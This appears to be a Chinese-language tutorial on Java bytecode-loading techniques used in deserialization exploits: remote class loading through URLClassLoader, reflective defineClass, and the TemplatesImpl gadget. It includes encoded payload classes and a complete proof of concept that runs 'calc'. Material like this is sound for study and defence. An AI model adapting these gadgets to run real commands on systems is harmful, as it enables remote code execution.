字节码通常来说就是JVM 可以识别的代码文件。
URLClassLoader加载字节码 正常情况下,Java 会根据配置项sun.boot.class.path 和java.class.path 中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader 来寻找类,即为在Jar包中寻找.class文件
URL以斜杠/结尾,且协议名是file,则使用FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader 来寻找类
这里可以启动一个http服务:
1 python -m http.server 80
在执行此命令的目录下放置编译好的class 文件:
1 2 3 4 5 6 7 8 9 10 public class Exploit { public Exploit () throws Exception { Runtime.getRuntime().exec("calc" ); System.out.println("hello" ); } static { System.out.println("加载中" ); } }
然后在主程序执行:
1 2 3 4 5 6 7 8 9 10 11 12 import java.net.URL;import java.net.URLClassLoader;public class main { public static void main (String[] args) throws Exception{ URL[] urls = {new URL ("http://127.0.0.1:80/" )}; URLClassLoader classLoader = URLClassLoader.newInstance(urls); Class c= classLoader.loadClass("Exploit" ); c.newInstance(); } }
加载过程
首先loadClass 从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar 包或远程http 服务器上读取字节码,然后交给defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java 类
这里将上面的class文件读取出来使用base64编码一下:
1 2 3 4 import base64with open ('Exploit.class' ,'rb' ) as f: code = base64.b64encode(f.read()) print (code.decode())
可以通过反射使用defineClass()
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.lang.reflect.Method;import java.util.Base64;public class main { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCgAYABkIABoKABgAGwkAHAAdCAAeCgAfACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACkV4Y2VwdGlvbnMHACQBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAsADAcAJQwAJgAnAQAEY2FsYwwAKAApBwAqDAArACwBAAVoZWxsbwcALQwALgAvAQAJ5Yqg6L295LitAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAkACgAAAAAAAgABAAsADAACAA0AAABMAAIAAQAAABYqtwABuAACEgO2AARXsgAFEga2AAexAAAAAgAOAAAAEgAEAAAAAgAEAAMADQAEABUABQAPAAAADAABAAAAFgAQABEAAAASAAAABAABABMACAAUAAwAAQANAAAAJQACAAAAAAAJsgAFEgi2AAexAAAAAQAOAAAACgACAAAACAAIAAkAAQAVAAAAAgAW" ); Class Exploit = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exploit" , code, 0 , code.length); Exploit.newInstance(); } }
TemplatesImpl加载字节码 在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个包中有一个内部类TransletClassLoader :
1 2 3 4 5 6 7 8 9 10 11 12 static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super (parent); } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
可以看到在这个内部类中是调用了defineClass 方法的,可以逆向追踪到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类的defineTransletClasses()
方法。
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable (); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
由上述代码可知_bytecodes
不能为空,而且需要传入二维数组。并且由于if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
这行代码,所以要求我们传入的字节码必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类(结合getTransletInstance()
方法一起看),所以Exploit 改动一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Exploit extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Exploit () throws Exception { Runtime.getRuntime().exec("calc" ); System.out.println("hello" ); } }
继续跟踪到getTransletInstance()
:
1 2 3 4 5 6 7 8 9 10 11 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ......
这里看到,defineTransletClasses()
方法调用完成后实例化加载的字节码。同时也能看出_name
不能为空,继续追踪到newTransformer()
:
1 2 3 4 5 6 7 8 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); ......
可以看到从这里就已经是public 权限了,所以从这里开始构造一个poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class main { public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_name" , "Cristrik010" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); } static void setFieldValue (Object object,String FieldName,Object data) throws Exception{ Field bytecodes = object.getClass().getDeclaredField(FieldName); bytecodes.setAccessible(true ); bytecodes.set(object,data); } }